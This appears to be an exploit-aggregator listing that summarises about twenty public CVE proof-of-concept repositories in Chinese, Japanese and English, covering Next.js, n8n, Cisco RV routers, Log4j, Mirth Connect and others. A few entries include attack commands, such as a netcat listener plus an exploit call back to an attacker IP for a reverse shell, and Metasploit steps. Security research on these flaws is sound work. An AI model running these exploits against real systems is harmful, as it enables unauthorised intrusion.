CVE-2025-55182

CVE-2025-55182 Next.js RCE 利用工具 🚀 这是一个针对 Next.js React Server Components CVE-2025-55182 远程代码执行 RCE 漏洞的自动化概念验证 PoC 工具。 该工具集成了 交互式 Shell 、智能协议识别 以及 多线程批量扫描 功能，专为安全研究人员和渗透测试人员设计，旨在快速验证和利用该漏洞。 ⚠️ 免责声明 ：本工具仅供网络安全教育和已获得授权的安全测试使用。严禁将其用于任何未授权的攻击行为。使用者需自行承担因使用本工具而产生的所有法律责任。 ✨ 核心功能 交互式 Shell 模式...

CVE-2025-13486

CVE-2025-13486 exploit ACF Extended WordPress Plugin — Remote Code Execution & Privilege Escalation Exploit for the CVE-2025-13486 discovered by Marcin Dudek dudekmar ⚠️ Disclaimer This repository is provided for research and defensive security purposes only. The author assumes no responsibility...

CVE-2025-68613-Python-Exploit

CVE-2025-68613：n8n 工作流表达式远程代码执行漏洞 n8n 工作流自动化平台中一个严重远程代码执行漏洞的概念验证（PoC）利用程序。 描述 该漏洞存在于 n8n 表达式评估系统中。用户提供的表达式未经过适当的沙箱隔离，允许已认证的攻击者在主机系统上执行任意代码。 CVE ID： CVE-2025-68613 漏洞类型： 远程代码执行（RCE） 受影响组件： 表达式评估器 受影响版本 n8n = 0.211.0 n8n -u -p OPTIONS 参数...

react2shell-CVE-2025-55182

React2Shell エクスプロイト CVE-2025-55182 Next.js React Server Components のRCE脆弱性を狙ったPythonエクスプロイト。HTTP/HTTPS対応。 🚀 Quick Start root@kitploit: Clone & run git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git cd react2shell-CVE-2025-55182 python3 exploitreact2shell.py "" 📖 Usage...

CVE-2024-25082_CVE-2024-25081

⚠️ FontForge RCE — CVE-2024-25081 和 CVE-2024-25082 - 概念验证 📖 概述 针对 FontForge ≤ 20230101 （Splinefont 组件）中两个命令注入漏洞的概念验证利用。 CVE| 攻击向量| 触发方式 ---|---|--- CVE-2024-25081| 构造的文件名| 直接打开文件 CVE-2024-25082| 构造的存档文件名| TAR/ZIP/GZ/BZ2 解压 本 PoC 针对 CVE-2024-25082 —— FontForge 的自动存档解压功能未对文件名进行转义处理，直接传入 shell，从而允许嵌入...

cve-2025-48384-poc

CVE-2025-48384 的 PoC 参见 CVE-2025-48384 运行： root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git 示例输出： root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'... done...

CVE-2024-53900

CVE-2024-53900 - Mongoose populate.match $where 远程代码执行（RCE） 本仓库提供了一个可复现的漏洞环境及针对 CVE-2024-53900 的概念验证（PoC），该漏洞是 Mongoose 8.8.3 中的一个严重远程代码执行（RCE）漏洞。 📌 漏洞详情 CVE : CVE-2024-53900 受影响的版本 : Mongoose 8.8.3 严重性 : 严重（CVSS 9.1） 攻击向量 : populate.match 与 $where 结合 影响 : 在 Node.js 环境中执行任意 JavaScript（RCE） 参考资料:...

FlowiseAI-Critical-KillChain

FlowiseAI — 关键攻击链 未认证的账户接管，结合针对 FlowiseAI = 3.0.5 的远程代码执行。 在 不足 5 秒内 实现完整容器沦陷，无需任何凭证 。 攻击链...

CVE-2025-15556-Notepad-WinGUp-Updater-RCE

受影响软件：使用 WinGUp 更新程序的 8.8.9 之前版本的 Notepad++。 漏洞类型：更新完整性验证绕过导致任意代码执行。 描述：WinGUp 更新程序未能正确验证更新元数据的完整性，允许能够拦截或重定向更新流量的攻击者提供一个恶意安装程序，并以用户权限执行该程序。 我还附带了 exploit.py 以供参考（中间人代理），以及一个适合 HTB 玩家的版本（DNS 欺骗模拟）。...

CVE-2025-13486

🔴 CVE-2025-13486 - Advanced Custom Fields Extended ACFE WordPressプラグインエクスプロイト 📋 概要 CVE-2025-13486 の概念実証エクスプロイトです。これは Advanced Custom Fields: Extended ACFE WordPressプラグインの深刻な脆弱性で、リモートコード実行から権限昇格を可能にします。 🎯 脆弱性の詳細 側面| 詳細 ---|--- CVE ID| CVE-2025-13486 プラグイン| Advanced Custom Fields: Extended ACFE タイプ...

cve-2026-82222-poc

CVE-2026-82222 Unauthenticated PHP object injection to RCE in GiveWP = 4.16.7.1. Patched in 4.16.7.2...

CVE-2022-22980

SpEL RCE Exploit - CVE-2022-22980 针对 Spring Data 的 SpEL 注入远程代码执行（RCE）漏洞利用工具。 描述 漏洞 该靶机暴露了一个 /search 端点，其接受参数 trackingid，该参数存在 SpEL 注入漏洞。此注入允许直接在服务器上执行恶意的 Java 表达式。 利用原理 1. 注入一个 SpEL 表达式，通过 Runtime.getRuntime.exec 执行 shell 命令 2. 将命令的输出以 base64 编码 3. 通过 HTTP GET 请求将结果外带至受控的监听器 4. 解码并显示结果 使用方法 先决条件...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV 系列 概念验证与漏洞利用 ⚠ 警告： 仅用于授权测试 。不得将本工具用于您未拥有或未获得书面许可的系统。这仅是一个概念验证 ，仅限授权测试 使用。 这是什么 一个小型仓库，包含： CiscoPoc.py — 用于检测 CVE-2023-20048 的无害概念验证脚本。 CiscoRCE.py — 通过存在漏洞的 form2ping.cgi 尝试获取反向 Shell 的漏洞利用工具。 描述 该脚本用于检测 Cisco RV 系列路由器 是否存在 CVE-2023-20048 漏洞，这是一个命令注入缺陷，可导致以 root 权限执行远程代码...

log4j-vul

log4j-vul 本项目仅用于演示 Apache Log4j2 漏洞，即 CVE-2021-44228。 Java: java version "1.8.0121" 编译： （在 src 文件夹内） javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 执行/运行： （在 src 文件夹内） java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...

EUVD-2026-72104

Bifrost HTTP transport before 2.0.0 accepts an enabled custom plugin whose path is an HTTP URL through unauthenticated POST /api/plugins when management authentication is disabled the default, governance.authconfig.isenabled=false. The shared-object loader treats an http-prefixed path as a downlo...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 认证远程代码执行 PoC 该仓库包含针对 CVE-2025-24367 的概念验证利用代码，该漏洞是 Cacti 中的一个认证远程代码执行漏洞。 该问题利用了图形模板处理中输入清理不足的缺陷。通过向 “Unix – Logged in Users” 图形模板（ID 226）中注入恶意内容，可以向 Cacti Web 根目录写入任意 PHP 文件，并在服务器上执行命令。 此 PoC 仅用于 实验室环境、受控测试和研究目的 。 漏洞摘要 产品： Cacti 漏洞类型： 认证远程代码执行 CVE 编号： CVE-2025-24367 攻击向量：...

PHP-CGI-Argument-Injection-Exploit

🎬 这个 YouTube 视频 1️⃣ 目标检查 从 Kali 中确定 Metasploitable 的 IP： root@kitploit: ip a 例如： Kali: 192.168.56.101 Metasploitable2: 192.168.56.102 检查端口和服务： root@kitploit: nmap -p 80 192.168.56.102 也可以在浏览器中检查： http://192.168.56.102/ 2️⃣ 启动 Metasploit root@kitploit: msfconsole 3️⃣ 选择 PHP CGI 漏洞利用模块 root@kitploit:...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 描述 适用于 Mirth Connect 远程代码执行 RCE 的 PoC 影响 Mirth Connect 示例 启动监听器 root@kitploit: nc -lvnp 4444 运行漏洞利用程序 root@kitploit: ./exploit https://target.com 10.10.10.10 4444 参考链接 https://nvd.nist.gov/vuln/detail/CVE-2023-43208 https://github.com/advisories/GHSA-pj5c-qr29-6...

CVE-2025-8110

RCE - CVE-2025-59528 Gogs = 0.13.3 利用 root@kitploit: $ python3 CVE-2025-8110.py -h usage: CVE-2025-8110.py -h -u URL -lh HOST -lp PORT -user USERNAME -pass PASSWORD -x CVE-2025-8110 Gogs Exploit options: -h, --help show this help message and exit -u, --url URL Gogs base URL e.g.,...

CVE-2025-55182-React2Shell-CVSS-10.0-

受影响软件：React 服务端组件（版本 19.0.0、19.1.0、19.1.1、19.2.0） 漏洞类型：通过不安全的反序列化实现未经身份验证的远程代码执行。 描述：React 服务端飞行协议中的一个缺陷允许未经身份验证的攻击者发送特制的序列化载荷，利用原型污染，从而导致在服务器上执行任意代码。 我还包含了 exploit.py 以供参考（Python PoC），以及一个适用于 HTB 用户的版本。...